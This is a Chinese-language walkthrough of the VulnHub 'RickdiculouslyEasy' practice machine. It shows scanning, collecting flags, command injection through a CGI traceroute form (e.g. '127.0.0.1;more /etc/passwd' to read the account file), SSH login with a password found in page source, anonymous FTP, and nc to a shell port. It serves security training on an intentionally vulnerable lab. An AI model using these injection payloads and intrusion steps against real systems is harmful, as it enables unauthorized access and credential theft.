信息收集:
靶机地址:https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip
(1)ip扫描
nmap 192.168.1.0/24 -sn | grep -B 2 '08:00:27:BF:52:95'
![](https://img-blog.csdnimg.cn/img_convert/13daced90c610e508f6f3d3aa9b37b55.png)
![](https://img-blog.csdnimg.cn/img_convert/eb96771a2c3385f129830806e22dbcda.png)
(2)端口扫描,发现一个flag
nmap -A 192.168.1.31 -p-
FLAG:{TheyFoundMyBackDoorMorty}-10Points\n");
![](https://img-blog.csdnimg.cn/img_convert/d90d029483ff64137c8a923cd03c78c8.png)
![](https://img-blog.csdnimg.cn/img_convert/647a1df2bbcfbb6218122c409ddce51a.png)
(3)目录扫描
dirsearch -u http://192.168.1.31
![](https://img-blog.csdnimg.cn/img_convert/c26571a64f8e37f571462b0a58a0ff6a.png)
![](https://img-blog.csdnimg.cn/img_convert/17eb0afa838e0bc813b6785e346104f4.png)
(4)发现页面没有可点击的地方,记得在扫描的时候发现有个9090端口,也是http,进行拼接查看,发现第二个flag
FLAG {There is no Zeus, in your face!}
![](https://img-blog.csdnimg.cn/img_convert/0c352178d1a6913090c258ccaa837d02.png)
(5)继续拼接刚才扫描出来的目录,拼接/passwords/(发现第三个flag)
FLAG{Yeah d- just don't do it.}
![](https://img-blog.csdnimg.cn/img_convert/f9b0d88da478f4d20dca3abae2ce3d9f.png)
![](https://img-blog.csdnimg.cn/img_convert/2e9b91a2f82e039236decf0c4156d9db.png)
(6)点击password.html,发现好像隐藏了什么东西,我们查看一下源码,果然发现了一个密码winter,先留着
![](https://img-blog.csdnimg.cn/img_convert/a9c3e6b1d5465ac5e0be02ba11b97575.png)
![](https://img-blog.csdnimg.cn/img_convert/c155d69f0ca4d2db4302fee768972082.png)
![](https://img-blog.csdnimg.cn/img_convert/e199e7d35fefe4cf03bfa12a293c60b3.png)
(7)拼接/robots.txt发现三个目录,依次拼接访问
![](https://img-blog.csdnimg.cn/img_convert/1b6556288665dad36990ed3a6d8ebc3b.png)
(8)拼接到/cgi-bin/tracertool.cgi,发现了一个命令执行框
![](https://img-blog.csdnimg.cn/img_convert/5d73f7c9eb937315a070680dc11d9794.png)
(9)输入127.0.0.1;ls / 发现确实存在命令执行漏洞
![](https://img-blog.csdnimg.cn/img_convert/80611d7231b779e3bc07604e7e901ded.png)
(10)尝试查看/etc/passwd账户文件,使用cat /etc/passwd,发现不太行,换成more /etc/passwd就可以了
127.0.0.1;more /etc/passwd
![](https://img-blog.csdnimg.cn/img_convert/9b72245ad489cded8cb6d70784de7858.png)
![](https://img-blog.csdnimg.cn/img_convert/586d9e7dbc3f0d734a01bd71d247e0f0.png)
getshell:
(1)发现三个用户RickSanchez、Morty、Summer
![](https://img-blog.csdnimg.cn/img_convert/cbf7d006a8f21f64b543314871e35ff6.png)
(2)根据刚才收集到的密码尝试ssh连接,发现22端口关闭了,无法连接
ssh RickSanchez@192.168.1.31
![](https://img-blog.csdnimg.cn/img_convert/8a1f6507bc25f7c02a82f8076bd1982c.png)
(3)回去看看刚才扫描的端口,发现22222才是真正的ssh端口
![](https://img-blog.csdnimg.cn/img_convert/1be676600e4a3c2cc61bd6cb68601e9e.png)
(4)接着ssh连接,经过尝试,发现Summer可以登录上,成功getshell
ssh Summer@192.168.1.31 -p 22222
winter
![](https://img-blog.csdnimg.cn/img_convert/c8b985a2d62ba18987b11f2fa7050b52.png)
提权:
(1)sudo -l 发现没权限
![](https://img-blog.csdnimg.cn/img_convert/e2811933d691ee436b823e2303063043.png)
(2)发现第四个flag
ls
more FLAG.txt
FLAG{Get off the high road Summer!}
![](https://img-blog.csdnimg.cn/img_convert/88ae9c008f571649c72d097633c080d3.png)
(3)尝试提权都失败,尝试查看是否有其他用户的文件,到home下发现三个用户的信息,先查看Morty的,发现里面有文件,但是下载不了,开启远程服务,在本机进行下载
cd /home
cd Morty
ls
python -m SimpleHTTPServer
![](https://img-blog.csdnimg.cn/img_convert/9a7b9f646a3017bfed2b169a426577ce.png)
![](https://img-blog.csdnimg.cn/img_convert/1d50c1cbf06181b4d28bc3564668a5c0.png)
(4)浏览器直接访问
![](https://img-blog.csdnimg.cn/img_convert/26fd885d335711c0c3f4a9216acb0c69.png)
(5)访问了半天,都是一些没用的文件,访问到journal.txt.zip时,发现下载下一个压缩包,尝试解压时,发现需要密码,试了试winter但是不对,暂时搁置
![](https://img-blog.csdnimg.cn/img_convert/f0d4aa77d829edfd161a360dd4b2d371.png)
(6)访问Safe_Password.jpg,发现一张图片,但是图片名字有password,尝试使用010 Editor查看,发现了密码Meeseek
![](https://img-blog.csdnimg.cn/img_convert/76cba6ec041200661b4c444b83a89427.png)
![](https://img-blog.csdnimg.cn/img_convert/1eda55ba02cb2f1567c5f9edae70de63.png)
(7)用密码解压刚才的zip包,解压成功了,发现了第五个flag
FLAG: {131333}
![](https://img-blog.csdnimg.cn/img_convert/5c1b8de00c2e4083e310e24244be293c.png)
(8)在nmap扫描的时候发现ftp服务开启,尝试进行匿名登录,账户为anonymous,密码为空,直接回车
![](https://img-blog.csdnimg.cn/img_convert/db37bc868377d14f6b9717bbc5723414.png)
(9)查看文件,发现第六个flag
more FLAG.txt
![](https://img-blog.csdnimg.cn/img_convert/f426f7a8f696abb37a0eba2fe1c1133a.png)
(10)现在只剩下60000端口了,扫描的时候发现写着reverse shell,说明存在反弹shell
![](https://img-blog.csdnimg.cn/img_convert/f009020fd013c27f3b66e8cc244073c7.png)
(11)提权成功,发现第七个flag
nc 192.168.1.31 60000
FLAG{Flip the pickle Morty!}
![](https://img-blog.csdnimg.cn/img_convert/6417df9a10a0966c039f4e04d3642837.png)